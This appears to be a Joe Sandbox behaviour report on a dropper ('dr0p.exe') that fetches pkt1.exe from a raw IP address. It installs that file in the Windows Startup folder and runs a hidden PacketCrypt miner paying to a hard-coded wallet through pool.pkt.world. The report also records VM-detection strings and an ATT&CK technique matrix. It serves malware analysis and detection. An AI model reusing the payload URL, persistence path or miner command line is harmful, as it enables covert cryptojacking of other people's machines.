Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_526717b753447e06968a08abf68208310e1f5acaa1180a99cbda870ca2f03431.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_1b2f0c4a3739221fbf80e36dad285b3f61b60e1ff8ab442582de1d9af7630b85.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world

Source: global traffic	DNS traffic detected: DNS query: pool.pkt.world
Source: global traffic	DNS traffic detected: DNS query: any.ah.pkt.world

Source: unknown

HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837096accept: */*host: any.ah.pkt.worldtransfer-encoding: chunked

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.CSharp.dll 099BC112DC645BC4A1FC453E3B4C1FC93A164BFAF69E84C85C2B6EFAC0F7FAAB
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.VisualBasic.Core.dll 816DE66126C5EFA65483B583F6A320C284E47FC7030F8CBD7DBED745FEDCD656
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\.net\pkt1\904\Microsoft.VisualBasic.dll BD36D4FD23D717FE88F2AFEB563EC6034D7FA482278156D99EF3CBF11EC2A5D5

Source: System.Runtime.InteropServices.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Private.CoreLib.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Private.Uri.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Runtime.InteropServices.JavaScript.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Net.WebSockets.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Private.DataContractSerialization.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Runtime.CompilerServices.VisualC.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.ObjectModel.dll.4.dr	Static PE information: No import functions for PE file found
Source: System.Runtime.Numerics.dll.4.dr	Static PE information: No import functions for PE file found
Source: dr0p.exe	Static PE information: No import functions for PE file found

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1184:120:WilError_03

Source: packetcrypt.exe, 00000006.00000000.2079334910.00007FF70BA74000.00000002.00000001.01000000.0000000E.sdmp	Memory string: rustls::msgs::handshakeP7
Source: packetcrypt.exe, 00000006.00000000.2079334910.00007FF70BA74000.00000002.00000001.01000000.0000000E.sdmp	Memory string: rustls::msgs::handshake

Source: unknown	Process created: C:\Users\user\Desktop\dr0p.exe "C:\Users\user\Desktop\dr0p.exe"
Source: C:\Users\user\Desktop\dr0p.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe	Process created: C:\Users\user\AppData\Local\Temp\packetcrypt.exe "C:\Users\user\AppData\Local\Temp\packetcrypt.exe" ann -p pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a http://pool.pkt.world
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dr0p.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe	Process created: C:\Users\user\AppData\Local\Temp\packetcrypt.exe "C:\Users\user\AppData\Local\Temp\packetcrypt.exe" ann -p pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a http://pool.pkt.world	Jump to behavior

Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\dr0p.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pkt1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\packetcrypt.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: pkt1.exe.0.dr	Static PE information: section name: .CLR_UEF
Source: pkt1.exe.0.dr	Static PE information: section name: .didat
Source: pkt1.exe.0.dr	Static PE information: section name: Section
Source: pkt1.exe.0.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: dr0p.exe, 00000000.00000002.2024733602.0000000005883000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: dr0p.exe, 00000000.00000002.2024733602.00000000058A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: dr0p.exe, 00000000.00000002.2024733602.0000000005883000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: dr0p.exe, 00000000.00000002.2024733602.0000000005855000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: dr0p.exe, 00000000.00000002.2024733602.0000000005883000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: packetcrypt.exe, 00000006.00000002.4110027580.00000239E1289000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	12 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	23 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source: pkt1.exe, 00000004.00000000.2021865265.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp, pkt1.exe, 00000004.00000002.4115297870.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://.css
Source: pkt1.exe, 00000004.00000000.2021865265.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp, pkt1.exe, 00000004.00000002.4115297870.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://.jpg
Source: dr0p.exe, 00000000.00000002.2022627403.0000000000420000.00000040.00000001.01000000.00000003.sdmp, dr0p.exe, 00000000.00000002.2024733602.0000000005855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.27.51.244/pkt1.exe
Source: packetcrypt.exe, 00000006.00000003.3432215491.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.wor
Source: packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.worK
Source: packetcrypt.exe, 00000006.00000003.3690586624.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691676939.00000239E3F60000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3813765986.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.world/anns/submit?c
Source: packetcrypt.exe, 00000006.00000003.3315537423.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404416010.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7
Source: packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3690586624.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691676939.00000239E3F60000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3917303488.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3813765986.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7#
Source: packetcrypt.exe, 00000006.00000003.3110476858.00000239E3F23000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3690678950.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3315537423.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3917303488.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691697981.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3517453778.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3432215491.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404416010.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3109839550.00000239E3F23000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3515565970.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691808111.00000239E3F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e99409592
Source: packetcrypt.exe, 00000006.00000003.3255910417.00000239E3F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://any.ah.pkt.world/anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c425
Source: pkt1.exe, 00000004.00000000.2021865265.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp, pkt1.exe, 00000004.00000002.4115297870.00007FF68EC8D000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4113123575.00000239E3D45000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3917303488.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.wo
Source: packetcrypt.exe, 00000006.00000003.3255910417.00000239E3F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/pay
Source: packetcrypt.exe, 00000006.00000003.3690586624.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691676939.00000239E3F60000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3813765986.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/pay11
Source: packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/pay6
Source: packetcrypt.exe, 00000006.00000003.3405109910.00000239E3F66000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404637050.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/pay=2c
Source: packetcrypt.exe, 00000006.00000003.2972074759.00000239E3F3F000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2546735475.00000239E3F2A000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2562035582.00000239E3F3F000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2649923389.00000239E3F3C000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2673224837.00000239E3F41000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2651717140.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2662607746.00000239E3F2D000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2972211374.00000239E3F41000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2547344330.00000239E3F3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/payA
Source: packetcrypt.exe, 00000006.00000003.3690586624.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/payMT
Source: packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114266001.00000239E3F69000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3225654784.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103160808.00000239E3F66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/payg.json
Source: packetcrypt.exe, 00000006.00000003.3225654784.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://master.pkt.world/payg.json7
Source: packetcrypt.exe, 00000006.00000003.3315537423.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3432215491.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404416010.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkd
Source: packetcrypt.exe, 00000006.00000003.2546735475.00000239E3F2A000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2562035582.00000239E3F2D000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2547416911.00000239E3F2A000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2561511282.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.F
Source: pkt1.exe, 00000004.00000002.4110767901.000001DA4AED0000.00000004.00001000.00020000.00000000.sdmp, pkt1.exe, 00000004.00000002.4112163975.000001DA50000000.00000004.00001000.00020000.00000000.sdmp, pkt1.exe, 00000004.00000002.4110904218.000001DA4B4D2000.00000002.00000001.01000000.00000007.sdmp, pkt1.exe, 00000004.00000002.4112163975.000001DA50015000.00000004.00001000.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4110027580.00000239E1266000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4110027580.00000239E12FB000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3917303488.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4110027580.00000239E1240000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4110479379.00000239E15A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world
Source: packetcrypt.exe, 00000006.00000003.3110476858.00000239E3F23000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4113123575.00000239E3D45000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3690678950.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3315537423.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3917303488.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691697981.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3517453778.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3432215491.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404416010.00000239E3F26000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3109839550.00000239E3F23000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3515565970.00000239E3F22000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691808111.00000239E3F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/
Source: packetcrypt.exe, 00000006.00000003.4006810941.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submE
Source: packetcrypt.exe, 00000006.00000003.3255910417.00000239E3F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submit
Source: packetcrypt.exe, 00000006.00000003.3225654784.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submit&
Source: packetcrypt.exe, 00000006.00000003.4102559515.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.4103176882.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000002.4114182517.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submit(
Source: packetcrypt.exe, 00000006.00000003.3405109910.00000239E3F66000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3404637050.00000239E3F61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submit1
Source: packetcrypt.exe, 00000006.00000003.3690586624.00000239E3F5E000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3691676939.00000239E3F60000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3814187859.00000239E3F41000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.3813889929.00000239E3F3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submit;
Source: packetcrypt.exe, 00000006.00000003.2972074759.00000239E3F3F000.00000004.00000020.00020000.00000000.sdmp, packetcrypt.exe, 00000006.00000003.2972211374.00000239E3F41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pool.pkt.world/blk/submitK
